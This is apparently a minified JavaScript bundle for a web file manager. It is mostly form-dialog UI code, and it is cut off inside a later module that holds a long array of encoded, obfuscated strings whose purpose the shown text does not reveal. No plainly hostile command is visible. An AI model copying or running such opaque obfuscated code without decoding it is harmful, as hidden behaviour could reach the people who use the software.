-!function(r){function e(e){for(var t,i,n=e[0],a=e[1],o=0,s=[];o"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this.trigger("initFinished",this))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,a,o=this,s=this.formData,r=o.makeHtml(s);return!!r&&(i=_.debounce(function(){o.trigger("dialogResize")},100),r=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":' ',"width":700,"height":510,"content":r,"okVal":LNG["common.save"],"ok":function(){var e=o.getFormData(!0),e=!!e.success&&e.result;if(o.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(o,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){o.objectRemove()}}).className,(a=$.extend(!0,n,e)).className=r+" "+_.get(e,"className","")+" ",a.className+=_.get(s,"formStyle.className","")+" ",a.className+=_.get(s,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a.className+=" form-box-title-block"),r="dialog-form-style-default",_.get(s,"formStyle.tabs")&&(_.includes(a.className,"dialog-form-style-")||(a.className+=" "+r),_.includes(a.className,r)&&a.width&&(a.width+=120)),this.dialog=$.dialog(a),e=this.dialog.$main.find(".aui-title").html(),this.dialog.$main.find(".modal-title").html(e),this.$el=this.dialog.$main,this.$el.data("kodForm",this),this.bindEvent(),t&&this.$(".form-save-button").bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button")).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(46),e={"items":e,"wrapID":this.wrapID},this.renderHtml(t,e,!1))},"bindEvent":function(){var a=this,e=(this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),this.input$());e.each(function(){var e=a.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);(e=this.input$()).inputChange(function(){var e=$(this),t=$(this).parents(".form-row").first(),i=t.attr("data-key"),n=a.formData[i];n&&"checkbox"==n.type&&(a.checkChangeToggle(t,e,n),a.checkChangeSwitch(t,e,n),a.checkChangeAlias(t,e,n)),a.switchItemChange(i),a._delay(function(){a.trigger("onChange",i,a.getValue(i),t,e)},0)});var t=_.get(a.formData,"formStyle.autoFocus");t&&a.formData[t]&&e.filter('[name="'+t+'"]')&&setTimeout(function(){e.filter('[name="'+t+'"]').focus()},100);for(var i=e.length-1;0<=i;i--)$(e.get(i)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){var e;$(this).hasClass("disabled")||(e=!!(e=a.getFormData(!0)).success&&e.result,a.trigger("onSave",e,a))}),this.$(".form-reset-button").bind("click",function(){a.resetValue()}),this.bindEventInput(),this.trigger("bindEventInput")},"checkChangeAlias":function(e,s,r){var i,n,t,l;r.checkAlias&&(r.$inputs||(i={},n=r.checkAlias,_.each(n,function(e,t){e+="",t+="",_.isArray(n[t])||(n[t]=e.split(",")),_.each(n[t],function(e){i[e]||(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)})}),r.checkChildren=i,r.$inputs=e.find(">.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),l=function l(e,t,i){var n=e[t];if(n)for(var a=0;a.setting-content > label input"),_.each(i.checkToggle,function(e,i){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t=a.filter('[value="'+e+'"]');t.length&&n.push({"by":i,"k":e,"$inputItem":t})})}),i.checkToggleVal=n),r=t.prop("checked"),o=t.attr("value"),s=this.getValueField(e.attr("data-key")).split(","),_.each(n,function(e){r&&o==e.by&&_.includes(s,e.by)&&e.$inputItem.attr("checked")&&e.$inputItem.removeAttr("checked").trigger("change")}))},"checkChangeSwitch":function(e,t,i){var o,s,a,r;i.checkSwitch&&((o=i.checkSwitchVal)||(o=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,a){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&o.push({"by":a,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=o),t.prop("checked"),a=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(o,function(n){var e;a==n.by&&(e=_.filter(o,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);n.filter(".form-"+t).exists()&&_.isFunction(this[i])&&this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])})},"switchItemChange":function(e,i,t){var n,a,o,s,r,l;i=i||{},(t=t||{})[e]||(t[e]=!0,n=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/"),r=this.getValueField(e),n&&(s=this.formRow$(e),o=s&&"2"==s.data("data-show"),this.switchItemClassItem(n,r),s=n.switchItemValue&&n.switchItemValue[r],_.isObject(s)&&this.setValue(s),n&&n.switchItem&&_.includes(a,n.type)&&(s=_.map(n.switchItem).join(",").split(","),"button"==n.type&&(r=this.input$(e).val()),l=n.switchItem[r]?n.switchItem[r].split(","):[],this.$el.attr("switch-key-"+e,r),_.includes(r,",")&&this._each(r.split(","),function(e){n.switchItem[e]&&(l=l.concat(n.switchItem[e].split(",")))}),l=_.filter(_.map(l,_.trim)),s=_.filter(_.map(s,_.trim)),this._each(s,function(e){var t=this.formRow$(e);_.includes(l,e)&&!o?(this.display(t,1),i[e]=!0):this.display(t,0)}),this._each(s,function(e){_.includes(l,e)&&!o?this.switchItemChange(e,i,t):this.switchItemHideChildren(e,i)}))))},"switchItemClassItem":function(e,t){var n;e&&_.isObject(e.switchItemClass)&&(n=(t||"").split(","),this._each(e.switchItemClass,function(e,t){var i=_.includes(n,t)?"addClass":"removeClass";this._each(e,function(e,t){t=this.formRow$(t);t&&t.length&&t[i](e)})}))},"switchItemHideChildren":function(e,i,n){var t=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/");t&&t.switchItem&&_.includes(a,t.type)&&!(n=n||{})[e]&&(n[e]=!0,a=_.map(t.switchItem).join(",").split(","),a=_.filter(_.map(a,_.trim)),this._each(a,function(e){var t;i[e]||(t=this.formRow$(e),this.display(t,0),this.switchItemHideChildren(e,i,n))}))},"display":function(e,t){var i="item-hide";if(this.viewRendering||e.hasClass("no-animate")||this.ignoreAnimation)return e.data("data-show",t?"1":"2"),t?e.show().removeClass(i):e.hide().addClass(i);var n=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};t?"1"!=e.data("data-show")&&(e.data("data-show","1"),e.stop().slideDown(150,function(){e.show().removeClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.css({"opacity":0}).animate({"opacity":1},a)):"2"!=e.data("data-show")&&(e.data("data-show","2"),e.stop().slideUp(150,function(){e.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.animate({"opacity":0},a))},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?' ':l[e]?''+(' ')+" ":_.startsWith(e,"icon-")?' ':_.includes(e," ")?' ':("folder"==e&&i&&(t+=" is-open"),' '))},d=function d(e){if(e&&"{"==e[0]){e=(e||"").match(/^{\w+(:[a-zA-Z]+)?}/);if(e&&e[0]){e=e[0].replace(/[{}]/g,"").replace(/:/g,"-");if(r[e])return e}}return""},h=function h(e){var t=!(1 ":c(e,t)},t.pathIcon=o},function(e,t,i){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},f=(Object.defineProperty(t,"__esModule",{"value":!0}),"function"==typeof Symbol&&"symbol"===n(Symbol.iterator)?function(e){return void 0===e?"undefined":n(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":n(e)}),a=i(215),a=(a=a)&&a.__esModule?a:{"default":a},s=i(23);var o,r=["AsKTw6caAA==","wqDChUfDuFhsL8Kqbg==","wpzDoSZPw5Y=","wojDuzg0wpA=","ME5jWQ==","SGVEeGo=","GcO6w6J0UsOMWE/Dtww=","O8KEw5knGA==","WsK8w6ACHA==","LMKCOFzClQ==","V8OgTsKgw5Q=","UcOoVcK6w5k=","GsKjPnc=","wpbCpsKSAhY=","PMKdw7YDDcKXwqtHCMOvwpwSXyJqaGU=","VMOddMKVw5U=","wqrDrhJi","elJYTTg=","M8O0w5N9Ww==","ecK9w68GKA==","aC47wrlL","w4PDiALCm8Om","w5/DosKhY30=","wrHCocKxCDc=","wrTCkcKJIQc=","w4plf8O9WA==","c1rCqnfCuA==","dsOlRT8J","wojDjgccwqI=","UzLDi8OpYg==","W1PDs0bDgg==","WWnDtnTDig==","YkJrSjM=","w4TDlD3CqcOX","QX7DqVPChA==","IMK/w587JA==","cDnDmcO8aw==","wq3Cr8OMw55u","w63DnRbDuBI=","w6TDuF7Du8KP","w4lPbsO8Yw==","TkfDi8OjDA==","aFbDqcOyVQ==","w5w1wrF4GA==","RSbDtw==","U17DlXvCjw==","w7dLdsO1Uw==","F8KOw4jCnEo=","w4NFf8OoYg==","wrfCssOgw5pB","dlbCtEvChw==","cA3Dn8KgwpE=","XMKzBg==","wqDCl0Atw64=","wrdLG1vDog==","AMOYw5BLfw==","wqUewoJywrM=","w7vDmhTDpw8nbA==","QsOYfsOEwpA=","WMKCAsOMdw==","YcOGXSoC","w6oqPT/Dgw==","w4PDmhbCncOGw79faMKrH8Kpw6PCj8KA","XMO3YQEK","w7vDtiXDoyY=","TBTDiMOuRA==","ckHDk0LDhA==","wq7CpcKUwpg=","wpzDuQRfw74=","w7zDhhTDpA==","wr9vw6Ipwrw=","wpvCkMKCPQHDqcKcwqw=","wp3CtnEM","wo5sGBky","UXXDlMO6AA==","w4fDkEvDscKB","SULDjMO3","ecOkcGNj","wrjDhxQU","SsKeMMOgdw==","QSzDp8ON","TsOfQ8O7","M8Ohw4lpTw==","SGTCjcO4w5k=","wqzCk8KXPzI=","w6FLPGPDqGA=","w7/DosK/Vk8=","wo/DgQJgw7Y=","H8KHw7jCnV/DkRzCkA==","SzDDhsOFeiLCgQ==","Q0DDuGDCgsKkwrEF","b3fCk1HCsw==","WWlBR0g=","w68/wqlWOA==","E8Oow55eVQ==","w4weU196","wqYdwrg=","woTCjFI3w58=","w4k8YMKhw40Cw4U=","w7vDhUjDkcKk","w77DjgjDogU=","dWhkTQ0=","VHfCkV3Cv8OT","QMOPV8Kiw7M=","w787wpd0KA==","woHDp2RIwoE=","fFrDisOfKQ==","YnPCukfClQ==","axkQwoBb","U0rDtsOifQ==","w5orfQ==","WXjDs8O0GQ==","wqV4FETDsQ==","w47DhMKid8KQw4w=","Z3XDpMOZVQ==","ZcO5XMKQw4M=","wpIvwqtiwpw=","RQXDrcOFRQ==","flDDlMKieQ==","w5sgCwrDpxhew6AaSw==","w6nDmwTClMOc","ZHPDhMOZTQ==","w54bTMK2w6g=","TGJDUA==","CMKUDFLChw==","Z1zDvHbCusK+","w6/DiUnDucKg","woh4DRQvw7DCk8Ouwr9xHcOvw6TDiMONw4rDvsKEwoTCocKYw7zCmMKE","wpzDnDcwwrA=","w53CuS0CwpzDpsKjwr3DulBTw67ChMK1w7wpRCJQ","w7NKV8Oidw==","fMKKMQ==","QVLDjcOZTg==","bQ3Di8O0Sx5Kw4vCkXVa","TBTDosOOfg==","w5NIXMO+","Z0bDlMOdVQ==","wovCsMOuw74gw5fCrG1ww6HCj8O/LcOFw7g=","SFHCusOkw74=","Q3HCgFvCq8OC","Vx8fwqtJ","wogMORB0wrTCrMKBw6LDs8K9w4ARQcKBFWbDuzvDksKOXV9zw77CsyDDu8KYa8K0WErDqSrDtMOMwpbDq8KZw6LCiQ/CnMOGOC5KwowDP1Adf1DCn8OrDUsMZMO2wqrCn8K9w7p0Ij/DvsOwEMKjwqATHXjDocO6HmrDhsKuOcKuw5PCisKvwrzDtyvCrsOgwpDDqcK8w5bDtMOK","fRYswp98","w5LDnQbCisOIw4EebsKkBcKNw6TCmg==","w5swZsKWw6c=","U8O1bXhTCMKzwrXCuA==","XMOZT8Kzw6w=","ZcOWc8Khw78=","R8OMwqnCgQLCvVnDmsOn","dzM/woJe","w7k6XWRi","MAPCgyEs","wq7DnnHDkg==","w6/Di0rDncKs","HMKiw5vCn1Q=","wpXCk8KBel4=","wqVHPV7Dug==","wq3DqwY=","wrnCsFcLw5w=","w7/DmQfCl8OAw5Y=","XlnClnHCog==","SMOodHRx","wqxpE33Duw==","w7UqwrdkJQ==","B8OcGTt8w5fCkx/DnsK6w4xrW0QKOV/Dv8O1","W1XDtWDDmA==","wojDkgMmwrY=","wrbCnMKXOAU=","XVFOXzg=","LsKUJ0vCig==","TX7Ds8K4ew==","flXDgUI=","wp3CrcKRPTc=","RmHDs33CvQ==","w58DUcKlw4g=","asO0SXl7","w5jDoALCt8O5","w59Ma8OxRw==","XHldSxE=","NcKNHl3ChA==","w7fDsMKzan0=","w4gkaMKiw6k=","w7nDnxDDnhg=","w6HDrTPDuAY=","aELClsOCw7U=","w7wpYsKcw4I=","wqXCjcKvADM=","wprCrlkQw4E=","wr9dHl7DqA==","wo/DhX9nwo8=","w4nDkkjDr8KG","wqvClsKuOQU=","w7zDll/DisK+","w5rDmh7CmsOM","woXCncKNNhU=","w6w1wpBrOw==","VQPDo8K8wrQ=","woZ6w6A6wrg=","w4crHDs=","SHvDkcO0bA==","XnTDisKUTw==","wrjCnHE9w4E=","Y8KiIsOuVg==","UcOLT8KSw7rCqMKkOcKJwq9GeMO2w6FFw4vDkWcmbQ==","Q8KEA8OOaQ==","w4HDggPCm8ODw5dzZ8KrHcKM","wq/DkQAU","w4wkKTXDmw==","WMKSw5MWLQ==","WVHDgw==","w5h8CFfDjw==","wpnCrnMvw4E=","GsKMw6vCink=","Q8OQXg48","fsKow7MvAA==","w4TDlxDCkcOJw5Y=","R0HCnnfChA==","G8K2K1nCoQ==","w5NDIkvDow==","w6FVcsOIVQ==","w5LDmT7CkMOH","S8KWSzHCrw==","aMK7QDHCiw==","FxvCpg4L","wqHDpRJow7DCkA==","w6xuccO9Xg==","K8Klw7rCl18=","bGhgXk0=","QU3DskLDoA==","YHFGdC4=","wrbDshI=","w7k7WMKTw4c=","w4jDlsK4dMKe","QsObU8O8wo7Dnw==","TmpCQFk=","cVLDkW7Cpw==","e8Kuw6EPNQ==","aC3DlMOvXQ==","Q8KcQCjCjA==","UxAQwrVo","wqFtLg==","W2PCn3DCug==","w6rDnCTCucO6","YcO6akdC","Q8KAw7YwIw==","Rk/DunfCqsKo","w5sBLi/DoA==","w5kgbHdR","w5fDrsKXTmA=","bwUTwqpqe8KI","Tm3DqcOFKQ==","w7dFWMO8Vg==","VlPDqX0=","a8ObRMOVwpA=","dsOQciMu","PcO3D8Ojew==","wojCtMKzGzM=","dsKLcCbChMOCw7sGUQjDtTx4wp/DpWBxw4Zweg==","wrbDkVJmwrc=","wp7CpcOmw69hw5nCjnN4w77CiA==","QkXChlbCiMKwFMO2wrHDtg==","wqLDoz1yw6E=","SSzDp8O8ZT3CncOnwrs5PsK2wphy","w5ZiTcO7SA==","A8OZMcOVeQ==","worChsKFIFvDrsKRwq0rwqvDvRjCulPCqQ3DsnVow50Bw4M=","w4YxUcKJw5Q=","w6ATXsKUw44=","fnjCicOPw5I=","w73DgQbDsy4=","chI4wqpe","CncaSQ8Mwp3Dq8OJAsKF","ShHDtMODTA==","WsOFSyM=","QnHDgsOBZA==","wr05BsOTw7YkI0p3w61Hw4PCj8O/ZcKyIw/Cgn7DgcKOPlMfIibDrsKeODbCnMKAw5HDuMOWw5zCtHs/w6TDq8KkfMOWXhbCqcO+wqxRwoPCsMKBw47Dil4nEULDh8OPwp0Uwp0BWcK2w5Y9Y2hQwog+b8KPGHfCrcObPFfDrsOTEcK/wq3CmDpywot/woHCnCXDqsOpwoE=","NDDCtQM9","w6FHO3jDu3E=","bxbDhsORcw==","wpzChFgZw4k=","X8K+B8OUew==","wqTDtQVvw5fChxZAw48=","wpvCi2Iuw4w=","w4rDlBLDlsKH","w4IhaUxJ","w6fDsA4=","QmjDisO6aw==","wpXCr8KUwpDDq8K2","bHtjbVY=","w7nDtEDDosOMwrBwOGlObsOOLsK/w4E=","VFjDgWHDow==","w49Ca8OtQw==","w6XDuiXDhg4=","RsOpdHU=","AsOow6JXZg==","wrZLw6Udwpk=","w5LDmxTClsOZw75VYcK3X8KJw7DCj8KKwp4eDMOPwpoYKcOFXDXDucKgw5hcJmzDq8KPRi7DgMOdw5c=","w43DjAfDkQw=","HcOyC8Okbw==","TxbDgsO5ZA==","QcOTWQw0","H8KEw4EBBA==","wpDCnMO8w7hj","w70DX8Kpw6Q=","woNiw5g8wrk=","X8OLecKww4U=","w6FUJXjDvw==","w7vDnQc=","fBIOwohhe8KXwpLDksOdc3d0UX87w7xEw4zCqg==","eWnDlUzDiQ==","wqTDsAFiw7rCkSxYw5LCi8KU","w4AXHQTDhQ==","w6woUcKHw5YMCnd8wrhrw4nCkQ==","UgPDqcKFwos=","wojDlTR+w60=","w44uR0JC","w4E0wpJSDA==","TkbDg8O0S1U=","Q1zChGLCvA==","SsOOe3l5","wpfCnsO8w6tL","TkbDkMKU","bk/DrcKpVg==","DsO+EcOmSw==","dcKLaA==","w48mMyvDuw==","woBPDRka","UcKSHsOBeg==","eEvCl23Clw==","VkLDvHY=","w43Dv1rDusKiwrzDoCQ=","woh4CR0uw6Y=","bUvCg8O4w5hPwovDhQ==","QCrDrcOMSybCkcO6","wrHCrMOuw4t/","QULDjcOQSA==","W0/DicKyU3Nyw7Q8","bFPDoVnCvg==","w63DusK5cHA=","wqQ9wqhVwq4=","w4kvHibDiwdJw6Ade0M5SMKZbA==","QsKhRzLCnQ==","wrpvEQ==","SXB8Sjk=","IcOawoE=","T2rCicOCw7c=","wrBRw5ILw5/Cjl5UBDU=","dcOZVcKyw4c=","w7DDhMK9ZcKBw5fDlcONwoXCicK8wos=","LcKQEGHCrA==","woRaAljDjw==","w6vDvyjDoAM=","RsObacKRw4A=","w7UGeMKQw58=","w7zDtGHDt8KB","bsKIwqATV8KMwrZaXsOnw4gcLjIxZzg=","w6HDuCPCpMOF","w43DlkY=","ZUTChH3CjQ==","KMOIw6HCgV7CqgXCk8KgwpUp","SV3Dj1XDpA==","w5DDjsK5ZMKBw5bCj8OtwoXCicK8wovDvw==","fEbDrcKYTA==","XcK+w6oGHA==","OcOEJwzDkMKewqFFHA==","wpIQwoVvwqw=","G8KSw6bCqFs=","XlHDjcOfaw==","w4vCil06","Y3PDscK1aw==","w5pYScOyUcKSLMOJw5E=","w5PDv3PDu8KI","w5dSLH/Dv3Y=","w4IeeMK0w4A=","WsOhanhUH8KpwqrCqFU=","wpLDp2NOwpo=","fsOvenF8PsKrwrHCrQ==","dVNPXl8=","LsO3w7hvYsOtWlTDsicvbA==","V8OPa8Kxw5M=","bMOOU8OSwoY=","YsKZw4EySScPwrhFw6vDogF0Cw==","w7wmWMKNw7I=","ecOKDcKi","V8ODax0g","wotYCDYi","VkfCicOQw40=","w6QRNBvDng==","wovCvMO7w68=","XMK8I8OdTQ==","woBCJRca","VWTCk14=","w5xHLUDDgA==","wqxOCiE5","w7XDu0/DgcKS","WEHDisO+Xg==","YMOnXjIA","fjHDvMK7wpM=","Zm7DimLCmA==","wrJlHBso","cEvDi2TDoMKxwqfDoMKd","U8O3XzQ3","QSvDgsKtwqw=","w7Ipwp9yLQ==","w7RPVcOJcw==","XcKyJsOuUQ==","wpc+wrVVwqA=","w5DDiH3Dm8KJ","w7RPUcOgQQ==","wrLDpRJew5A=","wp9lGDAM","w4vDu8K/RcK9","U0zDuMK7Rg==","TsOxd8O0wr0=","cMOLfsOJwpI=","U0jCkE3Ckg==","w7zDt1vDt8K1","w547YHFk","TFPDiXvCqQ==","fMOEaMKhw54=","aXjDumHDuw==","w4hKfsO5XQ==","XUfCjMOXw4M=","wo3DijM1wpQ=","wpRNFXbDpw==","fnHClmPCkA==","w4jDuMKwalw=","w7NzPGLDuA==","YsKeaArCnA==","d8OpQFFC","w6HDvsKg","YcObQ8Kkw7E=","QsOcUsKww7HCqMK7","wolqMl/Dqg==","wrBpNnnDrg==","w6vDtWzDv8KP","wr/DjRMewoDDiA==","w7vDsFTDo8KG","bk1XRVU=","M8OOw5dOWA==","wo4awqBfwpo=","VU/DukHCig==","w6DDuF7DgcKL","wqzDmgJSw40=","cgQiwod3","wpl0w7QUwqg=","wpZew4c=","Z1XCvFjCmQ==","wrDDiXRnwpQ=","wpjCsMOi","eR8YwoJ+","w5PDh8KvccKy","VsO0QRMA","FsO+w6U=","akPDsUvCqQ==","SMKjAsO3UijCrw==","esOJQhQj","YGRe","w51pU8O3eg==","wofCoMOnw6lJ","wo3DqRlUw7M=","w5wrZUhI","TsObSsK0w5A=","w6jDi8KfZsKs","w7XDkmDDkMKX","dyXDmMKPwrE=","wq7Cs8O4w51Y","HcO+w797YsOB","w61PfsOeYg==","SMK1w5QyCSUJwoJt","U8K3AcOISjTCiy5rCwHDlcOrwrY=","XVnDlMK5aQ==","UFDDh8OMQg==","w6zDhgXDuw8y","wr7DrRQBwoM=","wpVHGV3Dvg==","JcKkCUzCow==","wrzCnsO9w4hs","w73Dg8KtY8KBw6vDg8Om","w47DtcKnfmM=","wr9FMgIs","wrNpw6snwrs=","YU7DsGHDmQ==","dsKaw40DCT8AwrRV","YWRbaD9gNmFbw502","wo5oGBsrw47CmcO7w750CA==","cDDDssKLwpnDuMOqw7LCucKjw5IA","wrfCm8KTFwA=","w4HDggPCksOU","ahLDocKOwpM=","wrRtK3nDrivDpB5gZjXCo1E=","w7sLSl90","wopRCMOmIMKcZcOFwpHChAI=","w6zDusK9c1I=","w7c5wpZ0L8ORXcONwrtQwpbDusOW","wqpEFBQz","aFrDkcKEWW5gw5w9fArCoQ==","cgYwwrxL","w4vDh8KjcsKs","ecK2ZhvCqg==","ccOcScKew4Y=","YEjDmsK5fQ==","Bm7Dhk7DqMOKw7k/wq9qdy8Iw6rCi1EPWMOR","QEpeb2s=","wrMXwrlRwqwiwovCoE7Cq1DCoVU=","wpfCnMOOw65O","b3PDqnrCqA==","w6lSw69Kw7FpwpLDpws=","wqd0w6ILwpo=","VlFsSyk=","wrfCtMOCw6tL","woPDvTrCug==","L8OeN8OLWw==","woVew4sHw5DCoU1QCjTDiipAwoFa","FsK6w7YaBA==","wqvCscKUwpHDhcKhaE4a","w74eSGln","TGlsQnY=","e13Dgw/CpQ==","RTLDkcOZcA==","Lk3Cnw==","wo3Di1V0wpk=","MMKNw77Ch1fDoQ==","KsKCMnDCsg==","XsOLWsKz","w5zDsl/DoMK6","w59jT00Uw4/CmsONw785NcO/w6bDqsOHw47DksKfwo/CsMKww4/Cm8OFV8KOwq8Hw7PDrk3DizEaw60SccOawojDjMONwrDCuhYMwrJ+TsOcCiIaw45DbhDChAp4ScO9wqd3w4rDlUIYNsKmw5jCpCLDtWUzbz/Ds1jDssOffMKowoMrwrF4woUDw5QKHsO5Xk8VPgBx","dlXCtcOvw5k=","w4g4w5I=","UMOGRRQ+","w6JywoxuLsKMQsOgwrp/wr0=","wrHDqwJjw4M=","w7w5RsKPw5Id","RMOzccOgwo8=","wo/Ch8KnwpjDnA==","OgjCqyMM","w5keYEtS","wrfDkAJBw70=","w6MkwqlFDQ==","FMOXw6dGVQ==","w67DtWzDksKp","w402Eh/DgQ==","fHlLRnE=","fMOCTcKtw6Y=","wqbDhRtyw54=","E8KSw40dGw==","eCjDgMOLaA==","ek3CrcO3w4w=","bGDDnGHCiA==","wrfDpQByw7HChhsew5nCgsKWwrkbw4I=","w605YsKFw4k=","w48reMKzw48Uw4PCncK1f359EMK0","w7xDE1TDvA==","w5wTbcKFw4Y=","ZsOaWywK","wqhOFE/DpA==","wr7DrQrDqsOTwqYlMj1BO8OAcMKzwoQ=","w6rDscK9U3k=","RFhGWjU=","wrHDshBkw7HCqgNfw5zDncOQ","WMOpSXRZ","w4fDpWLDrMKM","w5/DgXHDmcKI","wq7DgQgfwrI=","wr3DryZxw5E=","woXCnMKkHTg=","bUltRGo=","cQLDjsOKXw==","XlnDq8KZUw==","cE5eSxg=","aVnCoMO0w4I=","w6jDsFvDvg==","dGDCt8OYw5Y=","F8KHw6UgJw==","wpvClEU2w74=","w5VXdcOVVQ==","WVrDlMKTVA==","worDrzB0w54=","w54leF9E","w7U+bcKfw7Y=","w4hsRMOpYQ==","wprDgBomwoM=","wrjCksKZwrDDqQ==","woBTOisF","w4s7wr1EPQ==","wp3CrGwQw70=","Q1DDs8OvXVlPw4M=","w6E9bsKjw5U=","w6kuRkd1","RcOxRMOFwqg=","cEvDusKLUw==","A8O+w6Bpc8OaT2PDvwwhaSADwp8=","SyEswpRC","GcOww7tyeQ==","wr/Co0czw78=","w40rQMKBw6Q=","wpjCq0UHw4A=","w51NPFfDmg==","w4UANxDDow==","Z07DvcOkLw==","wrxjOAw1","wrBTw7wfwqo=","w7IWWUdo","QnjCg17Clg==","